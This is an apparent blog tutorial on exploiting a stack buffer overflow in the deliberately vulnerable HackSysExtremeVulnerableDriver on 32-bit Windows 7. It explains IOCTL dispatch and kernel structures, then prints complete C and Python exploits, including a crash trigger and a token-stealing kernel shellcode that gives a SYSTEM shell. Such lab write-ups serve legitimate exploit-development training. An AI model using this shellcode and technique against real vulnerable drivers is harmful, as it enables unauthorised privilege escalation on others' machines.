Introduction
This post is on exploiting a stack based buffer overflow in the HackSysExtremeVulnerableDriver.
Thereâs lot of background theory required to understand types of Windows drivers, developing drivers, debugging drivers, etc. I will only focus on developing the exploit while explaining some internal structures briefly. I would assume you have experience with assembly, C, debugging in the userland.
This driver is a kernel driver. A driver is typically used to get our code into the kernel. An unhandled exception will cause the famous BSOD. I will be using Windows 7 32-bit for this since it doesnât support SMEP (Supervisor Mode Execution Prevention) or SMAP (Supervisor Mode Access Prevention). In simple words, I would say that when SMEP is enabled the CPU will generate a fault whenever the ring0 tries to execute code from a page marked with the user bit. Basically, due to this being not enabled, we can map our shellcode to steal the âSystemâ token. Check the Shellcode Analysis part for the analysis. Exploiting this vulnerability on a 64-bit system is different.
You can use the OSR Driver Loader to load the driver into the system.
If you want to debug the machine itself using windbg you can use VirtualKD or LiveKD
You can add a new serial connection using VirtualBox or VMware, so you can debug the guest system via windbg. I will be using a serial connection from VMware.
For kernel data structures refer to this. I have used it mostly to refer the structures.
After you have registered the driver you should see this in âmsinfo32â.
If you check the loaded modules in the âSystemâ process you should see our kernel driver âHEVD.sysâ.
In windbg you should see the debug output with the HEVD logo.
If you check the loaded modules HEVD should be visible.
The Vulnerability
The vulnerability lies in the âmemcpyâ function. Itâs well explained in the source.
Analyzing the Driver
For creating a handle to the driver we will use the âCreateFileâ API. To communicate with the driver from userland we use the âDeviceIoControlâ API. We have to specify the correct IOCTL code to trigger the Stack Overflow vulnerability. Windows uses I/O request packets (IRPs) to describe I/O requests to the kernel. IRP dispatch routines are stored in the âMajorFunctionâ array. Windows has a pre-defined set of IRP major functions to describe each and every I/O request which comes from the userland. Whenever an I/O request comes for a driver from the userland the I/O manager calls the appropriate IRP major function handler. For example, some common dispatch routines would be, when âCreateFileâ is called the âIRP_MJ_CREATEâ IRP Major Code is used. When âDeviceIoControlâ is used âIRP_MJ_DEVICE_CONTROLâ IRP Major Code is used. In the DriverEntry of this driver, we can see the following.
To use the âDeviceIoControlâ we need to find the IOCTL code. We can do this by looking into source code since we have the source, or by reverse engineering the compiled driver. IOCTL means I/O Control Code. Itâs a 32-bit integer that encodes the device type, operation-specific code, buffering method and security access. We use the CTL_CODE macro to define IOCTLS. To trigger the stack overflow vulnerability we have to use the âHACKSYS_EVD_IOCTL_STACK_OVERFLOWâ IOCTL code.
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/Common.h
You can apply the above macro in the exploit or use IDA to locate the IOCTL code which jumps to the stack overflow routine located at the âIrpDeviceIoCtlHandlerâ routine.
In windbg you can view the driver information for HEVD. At offset 0x38 you can see the âMajorFunctionâ array.
To find the âIrpDeviceIoCtlHandlerâ routine we can perform this pointer arithmetic. 0xe is the index of IRP_MJ_DEVICE_CONTROL. Once we unassembled the pointer we can see we found the correct routine.
We can analyze this routine in windbg to analyze further and letâs check where this 0x222003 IOCTL follows.
If we follow the jz instruction, it leads to the stack overflow routine which prints the debug message â****** HACKSYS_EVD_STACKOVERFLOW ******â
Triggering the Vulnerability
Since we know the IOCTL code letâs trigger the stack overflow vulnerability. Iâm sending a huge buffer that would cause a BSOD.
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/StackOverflowBSOD.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 |
#include "stdafx.h" #include <Windows.h> #include <string.h> /* * Title: HEVD x86 Stack Overflow BSOD * Platform: Windows 7 x86 * Author: Osanda Malith Jayathissa (@OsandaMalith) * Website: https://osandamalith.com */ int _tmain(int argc, _TCHAR* argv[]) { HANDLE hDevice; LPCWSTR lpDeviceName = L"\\\\.\\HacksysExtremeVulnerableDriver"; PUCHAR lpInBuffer = NULL; DWORD lpBytesReturned = 0; hDevice = CreateFile( lpDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, NULL); wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n"); wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName); if (hDevice == INVALID_HANDLE_VALUE) { wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError()); return -1; } wprintf(L"[+] Device Handle: 0x%x\n", hDevice); lpInBuffer = (PUCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900); if (!lpInBuffer) { wprintf(L"[!] Failed to allocated memory. %x", GetLastError()); return -1; } RtlFillMemory(lpInBuffer, (SIZE_T)1024*sizeof DWORD, 0x41); wprintf(L"[+] Sending IOCTL request with buffer: 0x222003\n"); DeviceIoControl( hDevice, 0x222003, // IOCTL (LPVOID)lpInBuffer, 2084, NULL, 0, &lpBytesReturned, NULL); HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer); CloseHandle(hDevice); return 0; } //EOF |
This is the Python version.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
from ctypes import * from ctypes.wintypes import * # Title : HEVD x86 Stack Overflow BSOD # Platform: Windows 7 x86 # Author: Osanda Malith Jayathissa (@OsandaMalith) # Website: https://osandamalith.com kernel32 = windll.kernel32 def main(): lpBytesReturned = c_ulong() hDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hDevice or hDevice == -1: print "[!] Failed to get a handle to the driver " + str(ctypes.GetLastError()) return -1 buf = "\x41" * (1024 * 4) bufSize = len(buf) bufPtr = id(buf) + 20 kernel32.DeviceIoControl(hDevice, 0x222003, bufPtr, bufSize, None, 0,byref(lpBytesReturned), None) if __name__ == '__main__': main() # EOF |
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/StackOverflowBSOD.py
Letâs change the buffer size to 0x900 and you can see we can see the EIP points to our buffer.
Developing an exploit for this driver is much similar to developing an exploit to a userland application. Now we have to find the offset where we overwrite the return address so that EIP will point to it. Iâll be using Mona to create a pattern of 0x900.
After we send this long buffer we can see that EIP contains the value 0x72433372 (r3Cr).
Letâs find the offset using Mona.
The offset is 2080. The offset to overwrite the EBP register would be 2080 â 4 = 2076. POP EBP, RET.
Shellcode Analysis
First of all, we save the state of all registers to avoid any BSODs. Next, we zero out the eax register and move the _KPCR.PcrbData.CurrentThread into eax. Letâs first explore the KPRC (Kernel Processor Control Region) structure. The KPCR contains per-CPU information which is shared by the kernel and the HAL (Hardware Abstraction Layer). This stores critical information about CPU state and information. This is located at the base address of the FS segment register at index 0 in 32-bit Windows systems, itâs [FS:0] and on 64-bit systems, itâs located in the GS segment register, [GS:0].
We can see at offset 0x120 it points to âPrcDataâ which is of type KPRCB (Kernel Processor Control Block) structure. This structure contains information about the processor such as current running thread, next thread to run, type, model, speed, etc. Both these structures are undocumented.
If we explore the âPrcDataâ _KPRCB structure we can find at offset 0x4 âCurrentThreadâ which is of _KTHREAD (Kernel Thread) structure. This structure is embedded inside the ETHREAD structure. The ETHREAD structure is used by the Windows kernel to represent every thread in the system. This is represented by [FS:0x124].
1 |
mov eax, [fs:eax + 0x124] |
Next _KTHREAD.ApcState.Process is fetched into EAX. Letâs explore the _KTHREAD structure. At offset 0x40 we can find âApcStateâ which is of _KAPC_STATE. The KAPC_STATE is used to save the list of APCs (Asynchronous Procedure Calls) queued to a thread when the thread attaches to another process.
If explore further more on _KAPC_STATE structure we can find a pointer to the current process structure at offset 0x10, âProcessâ which is of _KPROCESS structure. The KPROCESS structure is embedded inside the EPROCESS structure and it contains scheduling related information like threads, quantum, priority and execution times. This is done in the shellcode as
1 |
mov eax, [eax + 0x50] |
I have observed the same method used in the âPsGetCurrentProcessâ function. This function uses the same instructions as this shellcode to get the current EPROCESS.
If we explore this structure, we can see at offset 0xb4 the âUniqueProcessIdâ which has a value of 0x4 which means this is the PID of the âSystemâ process. At offset 0xb8 you can find âActiveProcessLinksâ which is of _LIST_ENTRY data structure. At offset 0x16c âImageFileNameâ contains the value âSystemâ.
The _LIST_ENTRY data structure is a double linked list. Itâs head pointer is âFlinkâ and the tail pointer is âBlinkâ. We can use âActiveProcessLinksâ double linked list to traverse through the processes in the entire system and find the âSystemâ process. The _EPROCESS structure is also used in rootkits to hide processes to the userland. If you have done algorithms in C, it would be similar to removing a node from a double linked list. We simply change the Flink to the next node and the Blink to the previous node, leaving our process to be hidden away from the linked list. You might wonder how the process works. Processes are just a container of threads. The real deal is with the threads.
The following assembly code is used in the shellcode to traverse the double linked list and find the process ID of 0x4.
1 2 3 4 5 |
SearchSystemPID: mov eax, [eax + 0x0B8] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, 0x0B8 cmp [eax + 0x0B4], edx ; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID |
Once we find the âSystemâ process we replace our current processâs token with the token value of the âSystemâ process. The offset of âTokenâ is at 0xf8. At the end we restore the state of the registers.
1 2 3 |
mov edx, [eax + 0x0F8] ; Get SYSTEM process nt!_EPROCESS.Token mov [ecx + 0x0F8], edx ; Replace our current token to SYSTEM popad |
We can do this using our debugger on runtime. For example, I will open ânotepad.exeâ. You can see itâs running as a normal user.
Letâs check the pointer to the _EPROCESS structure of ânotepad.exeâ, its 853fed28.
The pointer to the _EPROCESS structure of âSystemâ is 8514a798.
Letâs check the value of the Token of the âSystemâ process. Itâs 0x88e0124b.
We can calculate the value of the Token by unsetting the last 3 bits from 0x88e0124b. We can do this by performing bitwise AND by 0x3.
0x88e0124b &~ 3 = 0x88e01248
We can verify if our value is correct by the !process command.
After that we can enter the System token value into the Token offset at 0xf8 of the Notepad process.
Now if we check the Process Explorer we can see that Notepad.exe is running as âNT AUTHORITY/ SYSTEMâ.
Final Exploit
We map the address of the shellcode function, so that EIP will jump to it and execute our shellcode. To make sure everything is correct we can analyze in the debugger. Letâs get the address of âlpInBufferâ.
At offset 2076 is the EBP overwrite and after that, it should contain the pointer to the shellcode function.
Letâs unassemble this pointer.
And yes, if everything is correct it should point to our shellcode function.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 |
#include "stdafx.h" #include <Windows.h> #include <Shlobj.h> #include <string.h> /* * Title: HEVD x86 Stack Overflow Privelege Escalation Exploit * Platform: Windows 7 x86 * Author: Osanda Malith Jayathissa (@OsandaMalith) * Website: https://osandamalith.com */ #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID 0x004 // SYSTEM Process PID VOID TokenStealingPayloadWin7() { __asm { pushad; Save registers state xor eax, eax; Set ZERO mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process mov ecx, eax; Copy current process _EPROCESS structure mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token ; with SYSTEM process nt!_EPROCESS.Token ; End of Token Stealing Stub popad; Restore registers state ; Kernel Recovery Stub xor eax, eax; Set NTSTATUS SUCCEESS add esp, 12; Fix the stack pop ebp; Restore saved EBP ret 8; Return cleanly } } int _tmain(int argc, _TCHAR* argv[]) { HANDLE hDevice; LPCWSTR lpDeviceName = L"\\\\.\\HacksysExtremeVulnerableDriver"; PUCHAR lpInBuffer = NULL; DWORD lpBytesReturned = 0; STARTUPINFO si = { sizeof(STARTUPINFO) }; PROCESS_INFORMATION pi; hDevice = CreateFile( lpDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, NULL); wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n"); wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName); if (hDevice == INVALID_HANDLE_VALUE) { wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError()); return -1; } wprintf(L"[+] Device Handle: 0x%x\n", hDevice); lpInBuffer = (PUCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900); if (!lpInBuffer) { wprintf(L"[!] Failed to allocated memory. %x", GetLastError()); return -1; } RtlFillMemory(lpInBuffer, 0x900, 0x41); RtlFillMemory(lpInBuffer + 2076, 0x4, 0x42); *(lpInBuffer + 2080) = (DWORD)&TokenStealingPayloadWin7 & 0xFF; *(lpInBuffer + 2080 + 1) = ((DWORD)&TokenStealingPayloadWin7 & 0xFF00) >> 8; *(lpInBuffer + 2080 + 2) = ((DWORD)&TokenStealingPayloadWin7 & 0xFF0000) >> 0x10; *(lpInBuffer + 2080 + 3) = ((DWORD)&TokenStealingPayloadWin7 & 0xFF000000) >> 0x18; wprintf(L"[+] Sending IOCTL request with buffer: 0x222003\n"); DeviceIoControl( hDevice, 0x222003, // IOCTL (LPVOID)lpInBuffer, 2084, NULL, 0, &lpBytesReturned, NULL); ZeroMemory(&si, sizeof si); si.cb = sizeof si; ZeroMemory(&pi, sizeof pi); IsUserAnAdmin() ? CreateProcess( L"C:\\Windows\\System32\\cmd.exe", L"/T:17", NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, (STARTUPINFO *)&si, (PROCESS_INFORMATION *)&pi) : wprintf(L"[!] Exploit Failed!"); HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer); CloseHandle(hDevice); return 0; } //EOF |
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/StackOverflowx86.cpp
In python.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
import os import sys import struct from ctypes import * from ctypes.wintypes import * kernel32 = windll.kernel32 def TokenStealingPayloadWin7(): shellcode = ( #---[Setup] "\x60" # pushad "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] #---[Copy System PID token] "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] <-| "\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET | "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx | "\x75\xED" # jnz ->| "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx #---[Recover] "\x61" # popad "\x31\xC0" # NTSTATUS -> STATUS_SUCCESS "\x5D" # pop ebp "\xC2\x08\x00" # ret 8 ) shellcodePtr = id(shellcode) + 20 return shellcodePtr def main(): lpBytesReturned = c_ulong() hDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None) if not hDevice or hDevice == -1: print "[!] Failed to get a handle to the driver " + str(ctypes.GetLastError()) return -1 buf = "\x41" * 2080 + struct.pack("<L",TokenStealingPayloadWin7()) bufSize = len(buf) bufPtr = id(buf) + 20 print "[+] Sending IOCTL request " kernel32.DeviceIoControl(hDevice, 0x222003, bufPtr, bufSize, None, 0,byref(lpBytesReturned) , None) os.system('cmd.exe') if __name__ == '__main__': main() # EOF |
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/StackOverflowx86.py
And w00t! Hereâs the root shell ?
If we check the process you can see itâs running as NT AUTHORITY/SYSTEM.
[tweet https://twitter.com/Hakin9/status/850098290674872320]
Which is programming language using for this?
C